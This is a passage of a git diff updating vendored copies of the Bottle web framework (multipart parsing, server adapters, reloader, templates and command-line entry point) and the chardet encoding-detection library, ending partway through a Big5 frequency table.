of multipart stream.") + + +class _MultipartPart(object): + def __init__(self, buffer_size=2 ** 16, memfile_limit=2 ** 18, charset="latin1"): + self.headerlist = [] + self.headers = None + self.file = False + self.size = 0 + self._buf = b"" + self.disposition = None + self.name = None + self.filename = None + self.content_type = None + self.charset = charset + self.memfile_limit = memfile_limit + self.buffer_size = buffer_size + + def feed(self, line, nl=""): + if self.file: + return self.write_body(line, nl) + return self.write_header(line, nl) + + def write_header(self, line, nl): + line = line.decode(self.charset) + + if not nl: + raise MultipartError("Unexpected end of line in header.") + + if not line.strip(): # blank line -> end of header segment + self.finish_header() + elif line[0] in " \t" and self.headerlist: + name, value = self.headerlist.pop() + self.headerlist.append((name, value + line.strip())) + else: + if ":" not in line: + raise MultipartError("Syntax error in header: No colon.") + + name, value = line.split(":", 1) + self.headerlist.append((name.strip(), value.strip())) + + def write_body(self, line, nl): + if not line and not nl: + return # This does not even flush the buffer + + self.size += len(line) + len(self._buf) + self.file.write(self._buf + line) + self._buf = nl + + if self.content_length > 0 and self.size > self.content_length: + raise MultipartError("Size of body exceeds Content-Length header.") + + if self.size > self.memfile_limit and isinstance(self.file, BytesIO): + self.file, old = NamedTemporaryFile(mode="w+b"), self.file + old.seek(0) + + copied, maxcopy, chunksize = 0, self.size, self.buffer_size + read, write = old.read, self.file.write + while copied < maxcopy: + chunk = read(min(chunksize, maxcopy - copied)) + write(chunk) + copied += len(chunk) + + def finish_header(self): + self.file = BytesIO() + self.headers = HeaderDict(self.headerlist) + content_disposition = self.headers.get("Content-Disposition") + content_type = self.headers.get("Content-Type") + + if not content_disposition: + raise MultipartError("Content-Disposition header is missing.") + + self.disposition, self.options = _parse_http_header(content_disposition)[0] + self.name = self.options.get("name") + if "filename" in self.options: + self.filename = self.options.get("filename") + if self.filename[1:3] == ":\\" or self.filename[:2] == "\\\\": + self.filename = self.filename.split("\\")[-1] # ie6 bug + + self.content_type, options = _parse_http_header(content_type)[0] if content_type else (None, {}) + self.charset = options.get("charset") or self.charset + + self.content_length = int(self.headers.get("Content-Length", "-1")) + + def finish(self): + if not self.file: + raise MultipartError("Incomplete part: Header section not closed.") + self.file.seek(0) + + def is_buffered(self): + """ Return true if the data is fully buffered in memory.""" + return isinstance(self.file, BytesIO) + + @property + def value(self): + """ Data decoded with the specified charset """ + + return self.raw.decode(self.charset) + + @property + def raw(self): + """ Data without decoding """ + pos = self.file.tell() + self.file.seek(0) + + try: + return self.file.read() + finally: + self.file.seek(pos) + + def close(self): + if self.file: + self.file.close() + self.file = False + ############################################################################### # Server Adapter ############################################################### ############################################################################### +# Before you edit or add a server adapter, please read: +# - https://github.com/bottlepy/bottle/pull/647#issuecomment-60152870 +# - https://github.com/bottlepy/bottle/pull/865#issuecomment-242795341 class ServerAdapter(object): quiet = False @@ -2850,8 +3477,8 @@ def run(self, handler): # pragma: no cover pass def __repr__(self): - args = ', '.join(['%s=%s' % (k, repr(v)) - for k, v in self.options.items()]) + args = ', '.join('%s=%s' % (k, repr(v)) + for k, v in self.options.items()) return "%s(%s)" % (self.__class__.__name__, args) @@ -2910,7 +3537,11 @@ class server_cls(server_cls): class CherryPyServer(ServerAdapter): def run(self, handler): # pragma: no cover - from cherrypy import wsgiserver + depr(0, 13, "The wsgi server part of cherrypy was split into a new " + "project called 'cheroot'.", "Use the 'cheroot' server " + "adapter instead of cherrypy.") + from cherrypy import wsgiserver # This will fail for CherryPy >= 9 + self.options['bind_addr'] = (self.host, self.port) self.options['wsgi_app'] = handler @@ -2933,10 +3564,29 @@ def run(self, handler): # pragma: no cover server.stop() +class CherootServer(ServerAdapter): + def run(self, handler): # pragma: no cover + from cheroot import wsgi + from cheroot.ssl import builtin + self.options['bind_addr'] = (self.host, self.port) + self.options['wsgi_app'] = handler + certfile = self.options.pop('certfile', None) + keyfile = self.options.pop('keyfile', None) + chainfile = self.options.pop('chainfile', None) + server = wsgi.Server(**self.options) + if certfile and keyfile: + server.ssl_adapter = builtin.BuiltinSSLAdapter( + certfile, keyfile, chainfile) + try: + server.start() + finally: + server.stop() + + class WaitressServer(ServerAdapter): def run(self, handler): from waitress import serve - serve(handler, host=self.host, port=self.port, _quiet=self.quiet) + serve(handler, host=self.host, port=self.port, _quiet=self.quiet, **self.options) class PasteServer(ServerAdapter): @@ -2957,9 +3607,10 @@ def run(self, handler): class FapwsServer(ServerAdapter): - """ Extremely fast webserver using libev. See http://www.fapws.org/ """ + """ Extremely fast webserver using libev. See https://github.com/william-os4y/fapws3 """ def run(self, handler): # pragma: no cover + depr(0, 13, "fapws3 is not maintained and support will be dropped.") import fapws._evwsgi as evwsgi from fapws import base, config port = self.port @@ -2969,8 +3620,8 @@ def run(self, handler): # pragma: no cover evwsgi.start(self.host, port) # fapws3 never releases the GIL. Complain upstream. I tried. No luck. if 'BOTTLE_CHILD' in os.environ and not self.quiet: - _stderr("WARNING: Auto-reloading does not work with Fapws3.\n") - _stderr(" (Fapws3 breaks python thread support)\n") + _stderr("WARNING: Auto-reloading does not work with Fapws3.") + _stderr(" (Fapws3 breaks python thread support)") evwsgi.set_base_module(base) def app(environ, start_response): @@ -2997,6 +3648,8 @@ class AppEngineServer(ServerAdapter): quiet = True def run(self, handler): + depr(0, 13, "AppEngineServer no longer required", + "Configure your application directly in your app.yaml") from google.appengine.ext.webapp import util # A main() function in the handler script enables 'App Caching'. # Lets makes sure it is there. This _really_ improves performance. @@ -3026,6 +3679,7 @@ class DieselServer(ServerAdapter): """ Untested. """ def run(self, handler): + depr(0, 13, "Diesel is not tested or supported and will be removed.") from diesel.protocols.wsgi import WSGIApplication app = WSGIApplication(handler, port=self.port) app.run() @@ -3034,45 +3688,41 @@ def run(self, handler): class GeventServer(ServerAdapter): """ Untested. Options: - * `fast` (default: False) uses libevent's http server, but has some - issues: No streaming, no pipelining, no SSL. * See gevent.wsgi.WSGIServer() documentation for more options. """ def run(self, handler): - from gevent import wsgi, pywsgi, local + from gevent import pywsgi, local if not isinstance(threading.local(), local.local): msg = "Bottle requires gevent.monkey.patch_all() (before import)" raise RuntimeError(msg) - if not self.options.pop('fast', None): wsgi = pywsgi - self.options['log'] = None if self.quiet else 'default' + if self.quiet: + self.options['log'] = None address = (self.host, self.port) - server = wsgi.WSGIServer(address, handler, **self.options) + server = pywsgi.WSGIServer(address, handler, **self.options) if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: server.stop()) server.serve_forever() -class GeventSocketIOServer(ServerAdapter): - def run(self, handler): - from socketio import server - address = (self.host, self.port) - server.SocketIOServer(address, handler, **self.options).serve_forever() - - class GunicornServer(ServerAdapter): """ Untested. See http://gunicorn.org/configure.html for options. """ def run(self, handler): - from gunicorn.app.base import Application + from gunicorn.app.base import BaseApplication + + if self.host.startswith("unix:"): + config = {'bind': self.host} + else: + config = {'bind': "%s:%d" % (self.host, self.port)} - config = {'bind': "%s:%d" % (self.host, int(self.port))} config.update(self.options) - class GunicornApplication(Application): - def init(self, parser, opts, args): - return config + class GunicornApplication(BaseApplication): + def load_config(self): + for key, value in config.items(): + self.cfg.set(key, value) def load(self): return handler @@ -3110,57 +3760,53 @@ def run(self, handler): wsgi.server(listen(address), handler) -class RocketServer(ServerAdapter): - """ Untested. """ - - def run(self, handler): - from rocket import Rocket - server = Rocket((self.host, self.port), 'wsgi', {'wsgi_app': handler}) - server.start() - - class BjoernServer(ServerAdapter): """ Fast server written in C: https://github.com/jonashaag/bjoern """ def run(self, handler): from bjoern import run - run(handler, self.host, self.port) + run(handler, self.host, self.port, reuse_port=True) +class AsyncioServerAdapter(ServerAdapter): + """ Extend ServerAdapter for adding custom event loop """ + def get_event_loop(self): + pass -class AiohttpServer(ServerAdapter): - """ Untested. - aiohttp +class AiohttpServer(AsyncioServerAdapter): + """ Asynchronous HTTP client/server framework for asyncio https://pypi.python.org/pypi/aiohttp/ + https://pypi.org/project/aiohttp-wsgi/ """ + def get_event_loop(self): + import asyncio + return asyncio.new_event_loop() + def run(self, handler): import asyncio - from aiohttp.wsgi import WSGIServerHttpProtocol - self.loop = asyncio.new_event_loop() + from aiohttp_wsgi.wsgi import serve + self.loop = self.get_event_loop() asyncio.set_event_loop(self.loop) - protocol_factory = lambda: WSGIServerHttpProtocol( - handler, - readpayload=True, - debug=(not self.quiet)) - self.loop.run_until_complete(self.loop.create_server(protocol_factory, - self.host, - self.port)) - if 'BOTTLE_CHILD' in os.environ: import signal signal.signal(signal.SIGINT, lambda s, f: self.loop.stop()) - try: - self.loop.run_forever() - except KeyboardInterrupt: - self.loop.stop() + serve(handler, host=self.host, port=self.port) +class AiohttpUVLoopServer(AiohttpServer): + """uvloop + https://github.com/MagicStack/uvloop + """ + def get_event_loop(self): + import uvloop + return uvloop.new_event_loop() + class AutoServer(ServerAdapter): """ Untested. """ adapters = [WaitressServer, PasteServer, TwistedServer, CherryPyServer, - WSGIRefServer] + CherootServer, WSGIRefServer] def run(self, handler): for sa in self.adapters: @@ -3176,6 +3822,7 @@ def run(self, handler): 'wsgiref': WSGIRefServer, 'waitress': WaitressServer, 'cherrypy': CherryPyServer, + 'cheroot': CherootServer, 'paste': PasteServer, 'fapws3': FapwsServer, 'tornado': TornadoServer, @@ -3186,10 +3833,9 @@ def run(self, handler): 'gunicorn': GunicornServer, 'eventlet': EventletServer, 'gevent': GeventServer, - 'geventSocketIO': GeventSocketIOServer, - 'rocket': RocketServer, 'bjoern': BjoernServer, 'aiohttp': AiohttpServer, + 'uvloop': AiohttpUVLoopServer, 'auto': AutoServer, } @@ -3265,22 +3911,26 @@ def run(app=None, if NORUN: return if reloader and not os.environ.get('BOTTLE_CHILD'): import subprocess - lockfile = None + fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') + environ = os.environ.copy() + environ['BOTTLE_CHILD'] = 'true' + environ['BOTTLE_LOCKFILE'] = lockfile + args = [sys.executable] + sys.argv + # If a package was loaded with `python -m`, then `sys.argv` needs to be + # restored to the original value, or imports might break. See #1336 + if getattr(sys.modules.get('__main__'), '__package__', None): + args[1:1] = ["-m", sys.modules['__main__'].__package__] + try: - fd, lockfile = tempfile.mkstemp(prefix='bottle.', suffix='.lock') - os.close(fd) # We only need this file to exist. We never write to it + os.close(fd) # We never write to this file while os.path.exists(lockfile): - args = [sys.executable] + sys.argv - environ = os.environ.copy() - environ['BOTTLE_CHILD'] = 'true' - environ['BOTTLE_LOCKFILE'] = lockfile p = subprocess.Popen(args, env=environ) - while p.poll() is None: # Busy wait... - os.utime(lockfile, None) # I am alive! + while p.poll() is None: + os.utime(lockfile, None) # Tell child we are still alive time.sleep(interval) - if p.poll() != 3: - if os.path.exists(lockfile): os.unlink(lockfile) - sys.exit(p.poll()) + if p.returncode == 3: # Child wants to be restarted + continue + sys.exit(p.returncode) except KeyboardInterrupt: pass finally: @@ -3315,11 +3965,14 @@ def run(app=None, server.quiet = server.quiet or quiet if not server.quiet: - _stderr("Bottle v%s server starting up (using %s)...\n" % + _stderr("Bottle v%s server starting up (using %s)..." % (__version__, repr(server))) - _stderr("Listening on http://%s:%d/\n" % - (server.host, server.port)) - _stderr("Hit Ctrl-C to quit.\n\n") + if server.host.startswith("unix:"): + _stderr("Listening on %s" % server.host) + else: + _stderr("Listening on http://%s:%d/" % + (server.host, server.port)) + _stderr("Hit Ctrl-C to quit.\n") if reloader: lockfile = os.environ.get('BOTTLE_LOCKFILE') @@ -3344,7 +3997,7 @@ def run(app=None, class FileCheckerThread(threading.Thread): """ Interrupt main-thread as soon as a changed module file is detected, - the lockfile gets deleted or gets to old. """ + the lockfile gets deleted or gets too old. """ def __init__(self, lockfile, interval): threading.Thread.__init__(self) @@ -3359,7 +4012,7 @@ def run(self): files = dict() for module in list(sys.modules.values()): - path = getattr(module, '__file__', '') + path = getattr(module, '__file__', '') or '' if path[-4:] in ('.pyo', '.pyc'): path = path[:-1] if path and exists(path): files[path] = mtime(path) @@ -3388,9 +4041,8 @@ def __exit__(self, exc_type, *_): ############################################################################### -class TemplateError(HTTPError): - def __init__(self, message): - HTTPError.__init__(self, 500, message) +class TemplateError(BottleException): + pass class BaseTemplate(object): @@ -3434,13 +4086,11 @@ def search(cls, name, lookup=None): """ Search name in all directories specified in lookup. First without, then with common extensions. Return first hit. """ if not lookup: - depr('The template lookup path list should not be empty.', - True) #0.12 - lookup = ['.'] + raise depr(0, 12, "Empty template lookup path.", "Configure a template lookup path.") - if os.path.isabs(name) and os.path.isfile(name): - depr('Absolute template path names are deprecated.', True) #0.12 - return os.path.abspath(name) + if os.path.isabs(name): + raise depr(0, 12, "Use of absolute path for template name.", + "Refer to templates with names or paths relative to the lookup path.") for spath in lookup: spath = os.path.abspath(spath) + os.sep @@ -3530,7 +4180,7 @@ def prepare(self, filters=None, tests=None, globals={}, **kwargs): if self.source: self.tpl = self.env.from_string(self.source) else: - self.tpl = self.env.get_template(self.filename) + self.tpl = self.env.get_template(self.name) def render(self, *args, **kwargs): for dictarg in args: @@ -3540,10 +4190,13 @@ def render(self, *args, **kwargs): return self.tpl.render(**_defaults) def loader(self, name): - fname = self.search(name, self.lookup) + if name == self.filename: + fname = name + else: + fname = self.search(name, self.lookup) if not fname: return with open(fname, "rb") as f: - return f.read().decode(self.encoding) + return (f.read().decode(self.encoding), fname, lambda: False) class SimpleTemplate(BaseTemplate): @@ -3572,8 +4225,7 @@ def code(self): try: source, encoding = touni(source), 'utf8' except UnicodeError: - depr('Template encodings other than utf8 are not supported.') #0.11 - source, encoding = touni(source, 'latin1'), 'latin1' + raise depr(0, 11, 'Unsupported template encodings.', 'Use utf-8 for templates.') parser = StplParser(source, encoding=encoding, syntax=self.syntax) code = parser.translate() self.encoding = parser.encoding @@ -3586,7 +4238,7 @@ def _include(self, _env, _name=None, **kwargs): env = _env.copy() env.update(kwargs) if _name not in self.cache: - self.cache[_name] = self.__class__(name=_name, lookup=self.lookup) + self.cache[_name] = self.__class__(name=_name, lookup=self.lookup, syntax=self.syntax) return self.cache[_name].execute(env['_stdout'], env) def execute(self, _stdout, kwargs): @@ -3604,7 +4256,7 @@ def execute(self, _stdout, kwargs): 'setdefault': env.setdefault, 'defined': env.__contains__ }) - eval(self.co, env) + exec(self.co, env) if env.get('_rebase'): subtpl, rargs = env.pop('_rebase') rargs['base'] = ''.join(_stdout) #copy stdout @@ -3624,7 +4276,6 @@ def render(self, *args, **kwargs): class StplSyntaxError(TemplateError): - pass @@ -3635,7 +4286,7 @@ class StplParser(object): # This huge pile of voodoo magic splits python code into 8 different tokens. # We use the verbose (?x) regex mode to make this more manageable - _re_tok = _re_inl = r'''((?mx) # verbose and dot-matches-newline mode + _re_tok = r'''( [urbURB]* (?: ''(?!') |""(?!") @@ -3675,7 +4326,13 @@ class StplParser(object): # Match the start tokens of code areas in a template _re_split = r'''(?m)^[ \t]*(\\?)((%(line_start)s)|(%(block_start)s))''' # Match inline statements (may contain python strings) - _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n]+?)*?)%%(inline_end)s''' % _re_inl + _re_inl = r'''%%(inline_start)s((?:%s|[^'"\n])*?)%%(inline_end)s''' % _re_inl + + # add the flag in front of the regexp to avoid Deprecation warning (see Issue #949) + # verbose and dot-matches-newline mode + _re_tok = '(?mx)' + _re_tok + _re_inl = '(?mx)' + _re_inl + default_syntax = '<% %> % {{ }}' @@ -3694,7 +4351,7 @@ def get_syntax(self): def set_syntax(self, syntax): self._syntax = syntax self._tokens = syntax.split() - if not syntax in self._re_cache: + if syntax not in self._re_cache: names = 'block_start block_close line_start inline_start inline_end' etokens = map(re.escape, self._tokens) pattern_vars = dict(zip(names.split(), etokens)) @@ -3760,15 +4417,18 @@ def read_code(self, pysource, multiline): self.paren_depth -= 1 code_line += _pc elif _blk1: # Start-block keyword (if/for/while/def/try/...) - code_line, self.indent_mod = _blk1, -1 + code_line = _blk1 self.indent += 1 + self.indent_mod -= 1 elif _blk2: # Continue-block keyword (else/elif/except/...) - code_line, self.indent_mod = _blk2, -1 - elif _end: # The non-standard 'end'-keyword (ends a block) - self.indent -= 1 + code_line = _blk2 + self.indent_mod -= 1 elif _cend: # The end-code-block template token (usually '%>') if multiline: multiline = False else: code_line += _cend + elif _end: + self.indent -= 1 + self.indent_mod += 1 else: # \n self.write_code(code_line.strip(), comment) self.lineno += 1 @@ -3818,6 +4478,8 @@ def template(*args, **kwargs): or directly (as keyword arguments). """ tpl = args[0] if args else None + for dictarg in args[1:]: + kwargs.update(dictarg) adapter = kwargs.pop('template_adapter', SimpleTemplate) lookup = kwargs.pop('template_lookup', TEMPLATE_PATH) tplid = (id(lookup), tpl) @@ -3832,8 +4494,6 @@ def template(*args, **kwargs): TEMPLATES[tplid] = adapter(name=tpl, lookup=lookup, **settings) if not TEMPLATES[tplid]: abort(500, 'Template (%s) not found' % tpl) - for dictarg in args[1:]: - kwargs.update(dictarg) return TEMPLATES[tplid].render(kwargs) @@ -3864,7 +4524,7 @@ def wrapper(*args, **kwargs): tplvars.update(result) return template(tpl_name, **tplvars) elif result is None: - return template(tpl_name, defaults) + return template(tpl_name, **defaults) return result return wrapper @@ -3891,6 +4551,7 @@ def wrapper(*args, **kwargs): HTTP_CODES[428] = "Precondition Required" HTTP_CODES[429] = "Too Many Requests" HTTP_CODES[431] = "Request Header Fields Too Large" +HTTP_CODES[451] = "Unavailable For Legal Reasons" # RFC 7725 HTTP_CODES[511] = "Network Authentication Required" _HTTP_STATUS_LINES = dict((k, '%d %s' % (k, v)) for (k, v) in HTTP_CODES.items()) @@ -3917,7 +4578,12 @@ def wrapper(*args, **kwargs): <pre>{{e.body}}</pre> %%if DEBUG and e.exception: <h2>Exception:</h2> - <pre>{{repr(e.exception)}}</pre> + %%try: + %%exc = repr(e.exception) + %%except: + %%exc = '<unprintable %%s object>' %% type(e.exception).__name__ + %%end + <pre>{{exc}}</pre> %%end %%if DEBUG and e.traceback: <h2>Traceback:</h2> @@ -3943,10 +4609,9 @@ def wrapper(*args, **kwargs): #: A thread-safe namespace. Not used by Bottle. local = threading.local() -# Initialize app stack (create first empty Bottle app) +# Initialize app stack (create first empty Bottle app now deferred until needed) # BC: 0.6.4 and needed for run() -app = default_app = AppStack() -app.push() +apps = app = default_app = AppStack() #: A virtual package that redirects import statements. #: Example: ``import bottle.ext.sqlite`` actually imports `bottle_sqlite`. @@ -3954,58 +4619,63 @@ def wrapper(*args, **kwargs): __name__ + ".ext", 'bottle_%s').module +def _main(argv): # pragma: no coverage + args, parser = _cli_parse(argv) -if __name__ == '__main__': - opt, args, parser = _cli_parse(sys.argv) - - def _cli_error(msg): + def _cli_error(cli_msg): parser.print_help() - _stderr('\nError: %s\n' % msg) + _stderr('\nError: %s\n' % cli_msg) sys.exit(1) - if opt.version: - _stdout('Bottle %s\n' % __version__) + if args.version: + print('Bottle %s' % __version__) sys.exit(0) - if not args: + if not args.app: _cli_error("No application entry point specified.") sys.path.insert(0, '.') sys.modules.setdefault('bottle', sys.modules['__main__']) - host, port = (opt.bind or 'localhost'), 8080 + host, port = (args.bind or 'localhost'), 8080 if ':' in host and host.rfind(']') < host.rfind(':'): host, port = host.rsplit(':', 1) host = host.strip('[]') config = ConfigDict() - for cfile in opt.conf or []: + for cfile in args.conf or []: try: if cfile.endswith('.json'): with open(cfile, 'rb') as fp: config.load_dict(json_loads(fp.read())) else: config.load_config(cfile) - except ConfigParserError: - _cli_error(str(_e())) + except configparser.Error as parse_error: + _cli_error(parse_error) except IOError: _cli_error("Unable to read config file %r" % cfile) - except (UnicodeError, TypeError, ValueError): - _cli_error("Unable to parse config file %r: %s" % (cfile, _e())) + except (UnicodeError, TypeError, ValueError) as error: + _cli_error("Unable to parse config file %r: %s" % (cfile, error)) - for cval in opt.param or []: + for cval in args.param or []: if '=' in cval: config.update((cval.split('=', 1),)) else: config[cval] = True - run(args[0], + run(args.app, host=host, port=int(port), - server=opt.server, - reloader=opt.reload, - plugins=opt.plugin, - debug=opt.debug, + server=args.server, + reloader=args.reload, + plugins=args.plugin, + debug=args.debug, config=config) -# THE END + +def main(): + _main(sys.argv) + + +if __name__ == '__main__': # pragma: no coverage + main() diff --git a/thirdparty/chardet/__init__.py b/thirdparty/chardet/__init__.py index 82c2a48d290..0f9f820ef6e 100644 --- a/thirdparty/chardet/__init__.py +++ b/thirdparty/chardet/__init__.py @@ -15,18 +15,25 @@ # 02110-1301 USA ######################### END LICENSE BLOCK ######################### -__version__ = "2.3.0" -from sys import version_info +from .compat import PY2, PY3 +from .universaldetector import UniversalDetector +from .version import __version__, VERSION -def detect(aBuf): - if ((version_info < (3, 0) and isinstance(aBuf, unicode)) or - (version_info >= (3, 0) and not isinstance(aBuf, bytes))): - raise ValueError('Expected a bytes object, not a unicode object') - from . import universaldetector - u = universaldetector.UniversalDetector() - u.reset() - u.feed(aBuf) - u.close() - return u.result +def detect(byte_str): + """ + Detect the encoding of the given byte string. + + :param byte_str: The byte sequence to examine. + :type byte_str: ``bytes`` or ``bytearray`` + """ + if not isinstance(byte_str, bytearray): + if not isinstance(byte_str, bytes): + raise TypeError('Expected object of type bytes or bytearray, got: ' + '{0}'.format(type(byte_str))) + else: + byte_str = bytearray(byte_str) + detector = UniversalDetector() + detector.feed(byte_str) + return detector.close() diff --git a/thirdparty/chardet/big5freq.py b/thirdparty/chardet/big5freq.py index 65bffc04b0d..38f32517aa8 100644 --- a/thirdparty/chardet/big5freq.py +++ b/thirdparty/chardet/big5freq.py @@ -45,7 +45,7 @@ #Char to FreqOrder table BIG5_TABLE_SIZE = 5376 -Big5CharToFreqOrder = ( +BIG5_CHAR_TO_FREQ_ORDER = ( 1,1801,1506, 255,1431, 198, 9, 82, 6,5008, 177, 202,3681,1256,2821, 110, # 16 3814, 33,3274, 261, 76, 44,2114, 16,2946,2187,1176, 659,3971, 26,3451,2653, # 32 1198,3972,3350,4202, 410,2215, 302, 590, 361,1964, 8, 204, 58,4510,5009,1932, # 48 @@ -381,545 +381,6 @@ 938,3941, 553,2680, 116,5783,3942,3667,5784,3545,2681,2783,3438,3344,2820,5785, # 5328 3668,2943,4160,1747,2944,2983,5786,5787, 207,5788,4809,5789,4810,2521,5790,3033, # 5344 890,3669,3943,5791,1878,3798,3439,5792,2186,2358,3440,1652,5793,5794,5795, 941, # 5360 -2299, 208,3546,4161,2020, 330,4438,3944,2906,2499,3799,4439,4811,5796,5797,5798, # 5376 #last 512 -#Everything below is of no interest for detection purpose -2522,1613,4812,5799,3345,3945,2523,5800,4162,5801,1637,4163,2471,4813,3946,5802, # 5392 -2500,3034,3800,5803,5804,2195,4814,5805,2163,5806,5807,5808,5809,5810,5811,5812, # 5408 -5813,5814,5815,5816,5817,5818,5819,5820,5821,5822,5823,5824,5825,5826,5827,5828, # 5424 -5829,5830,5831,5832,5833,5834,5835,5836,5837,5838,5839,5840,5841,5842,5843,5844, # 5440 -5845,5846,5847,5848,5849,5850,5851,5852,5853,5854,5855,5856,5857,5858,5859,5860, # 5456 -5861,5862,5863,5864,5865,5866,5867,5868,5869,5870,5871,5872,5873,5874,5875,5876, # 5472 -5877,5878,5879,5880,5881,5882,5883,5884,5885,5886,5887,5888,5889,5890,5891,5892, # 5488 -5893,5894,5895,5896,5897,5898,5899,5900,5901,5902,5903,5904,5905,5906,5907,5908, # 5504 -5909,5910,5911,5912,5913,5914,5915,5916,5917,5918,5919,5920,5921,5922,5923,5924, # 5520 -5925,5926,5927,5928,5929,5930,5931,5932,5933,5934,5935,5936,5937,5938,5939,5940, # 5536 -5941,5942,5943,5944,5945,5946,5947,5948,5949,5950,5951,5952,5953,5954,5955,5956, # 5552 -5957,5958,5959,5960,5961,5962,5963,5964,5965,5966,5967,5968,5969,5970,5971,5972, # 5568 -5973,5974,5975,5976,5977,5978,5979,5980,5981,5982,5983,5984,5985,5986,5987,5988, # 5584 -5989,5990,5991,5992,5993,5994,5995,5996,5997,5998,5999,6000,6001,6002,6003,6004, # 5600 -6005,6006,6007,6008,6009,6010,6011,6012,6013,6014,6015,6016,6017,6018,6019,6020, # 5616 -6021,6022,6023,6024,6025,6026,6027,6028,6029,6030,6031,6032,6033,6034,6035,6036, # 5632 -6037,6038,6039,6040,6041,6042,6043,6044,6045,6046,6047,6048,6049,6050,6051,6052, # 5648 -6053,6054,6055,6056,6057,6058,6059,6060,6061,6062,6063,6064,6065,6066,6067,6068, # 5664 -6069,6070,6071,6072,6073,6074,6075,6076,6077,6078,6079,6080,6081,6082,6083,6084, # 5680 -6085,6086,6087,6088,6089,6090,6091,6092,6093,6094,6095,6096,6097,6098,6099,6100, # 5696 -6101,6102,6103,6104,6105,6106,6107,6108,6109,6110,6111,6112,6113,6114,6115,6116, # 5712 -6117,6118,6119,6120,6121,6122,6123,6124,6125,6126,6127,6128,6129,6130,6131,6132, # 5728 -6133,6134,6135,6136,6137,6138,6139,6140,6141,6142,6143,6144,6145,6146,6147,6148, # 5744 -6149,6150,6151,6152,6153,6154,6155,6156,6157,6158,6159,6160,6161,6162,6163,6164, # 5760 -6165,6166,6167,6168,6169,6170,6171,6172,6173,6174,6175,6176,6177,6178,6179,6180, # 5776 -6181,6182,6183,6184,6185,6186,6187,6188,6189,6190,6191,6192,6193,6194,6195,6196, # 5792 -6197,6198,6199,6200,6201,6202,6203,6204,6205,6206,6207,6208,6209,6210,6211,6212, # 5808 -6213,6214,6215,6216,6217,6218,6219,6220,6221,6222,6223,3670,6224,6225,6226,6227, # 5824 -6228,6229,6230,6231,6232,6233,6234,6235,6236,6237,6238,6239,6240,6241,6242,6243, # 5840 -6244,6245,6246,6247,6248,6249,6250,6251,6252,6253,6254,6255,6256,6257,6258,6259, # 5856 -6260,6261,6262,6263,6264,6265,6266,6267,6268,6269,6270,6271,6272,6273,6274,6275, # 5872 -6276,6277,6278,6279,6280,6281,6282,6283,6284,6285,4815,6286,6287,6288,6289,6290, # 5888 -6291,6292,4816,6293,6294,6295,6296,6297,6298,6299,6300,6301,6302,6303,6304,6305, # 5904 -6306,6307,6308,6309,6310,6311,4817,4818,6312,6313,6314,6315,6316,6317,6318,4819, # 5920 -6319,6320,6321,6322,6323,6324,6325,6326,6327,6328,6329,6330,6331,6332,6333,6334, # 5936 -6335,6336,6337,4820,6338,6339,6340,6341,6342,6343,6344,6345,6346,6347,6348,6349, # 5952 -6350,6351,6352,6353,6354,6355,6356,6357,6358,6359,6360,6361,6362,6363,6364,6365, # 5968 -6366,6367,6368,6369,6370,6371,6372,6373,6374,6375,6376,6377,6378,6379,6380,6381, # 5984 -6382,6383,6384,6385,6386,6387,6388,6389,6390,6391,6392,6393,6394,6395,6396,6397, # 6000 -6398,6399,6400,6401,6402,6403,6404,6405,6406,6407,6408,6409,6410,3441,6411,6412, # 6016 -6413,6414,6415,6416,6417,6418,6419,6420,6421,6422,6423,6424,6425,4440,6426,6427, # 6032 -6428,6429,6430,6431,6432,6433,6434,6435,6436,6437,6438,6439,6440,6441,6442,6443, # 6048 -6444,6445,6446,6447,6448,6449,6450,6451,6452,6453,6454,4821,6455,6456,6457,6458, # 6064 -6459,6460,6461,6462,6463,6464,6465,6466,6467,6468,6469,6470,6471,6472,6473,6474, # 6080 -6475,6476,6477,3947,3948,6478,6479,6480,6481,3272,4441,6482,6483,6484,6485,4442, # 6096 -6486,6487,6488,6489,6490,6491,6492,6493,6494,6495,6496,4822,6497,6498,6499,6500, # 6112 -6501,6502,6503,6504,6505,6506,6507,6508,6509,6510,6511,6512,6513,6514,6515,6516, # 6128 -6517,6518,6519,6520,6521,6522,6523,6524,6525,6526,6527,6528,6529,6530,6531,6532, # 6144 -6533,6534,6535,6536,6537,6538,6539,6540,6541,6542,6543,6544,6545,6546,6547,6548, # 6160 -6549,6550,6551,6552,6553,6554,6555,6556,2784,6557,4823,6558,6559,6560,6561,6562, # 6176 -6563,6564,6565,6566,6567,6568,6569,3949,6570,6571,6572,4824,6573,6574,6575,6576, # 6192 -6577,6578,6579,6580,6581,6582,6583,4825,6584,6585,6586,3950,2785,6587,6588,6589, # 6208 -6590,6591,6592,6593,6594,6595,6596,6597,6598,6599,6600,6601,6602,6603,6604,6605, # 6224 -6606,6607,6608,6609,6610,6611,6612,4826,6613,6614,6615,4827,6616,6617,6618,6619, # 6240 -6620,6621,6622,6623,6624,6625,4164,6626,6627,6628,6629,6630,6631,6632,6633,6634, # 6256 -3547,6635,4828,6636,6637,6638,6639,6640,6641,6642,3951,2984,6643,6644,6645,6646, # 6272 -6647,6648,6649,4165,6650,4829,6651,6652,4830,6653,6654,6655,6656,6657,6658,6659, # 6288 -6660,6661,6662,4831,6663,6664,6665,6666,6667,6668,6669,6670,6671,4166,6672,4832, # 6304 -3952,6673,6674,6675,6676,4833,6677,6678,6679,4167,6680,6681,6682,3198,6683,6684, # 6320 -6685,6686,6687,6688,6689,6690,6691,6692,6693,6694,6695,6696,6697,4834,6698,6699, # 6336 -6700,6701,6702,6703,6704,6705,6706,6707,6708,6709,6710,6711,6712,6713,6714,6715, # 6352 -6716,6717,6718,6719,6720,6721,6722,6723,6724,6725,6726,6727,6728,6729,6730,6731, # 6368 -6732,6733,6734,4443,6735,6736,6737,6738,6739,6740,6741,6742,6743,6744,6745,4444, # 6384 -6746,6747,6748,6749,6750,6751,6752,6753,6754,6755,6756,6757,6758,6759,6760,6761, # 6400 -6762,6763,6764,6765,6766,6767,6768,6769,6770,6771,6772,6773,6774,6775,6776,6777, # 6416 -6778,6779,6780,6781,4168,6782,6783,3442,6784,6785,6786,6787,6788,6789,6790,6791, # 6432 -4169,6792,6793,6794,6795,6796,6797,6798,6799,6800,6801,6802,6803,6804,6805,6806, # 6448 -6807,6808,6809,6810,6811,4835,6812,6813,6814,4445,6815,6816,4446,6817,6818,6819, # 6464 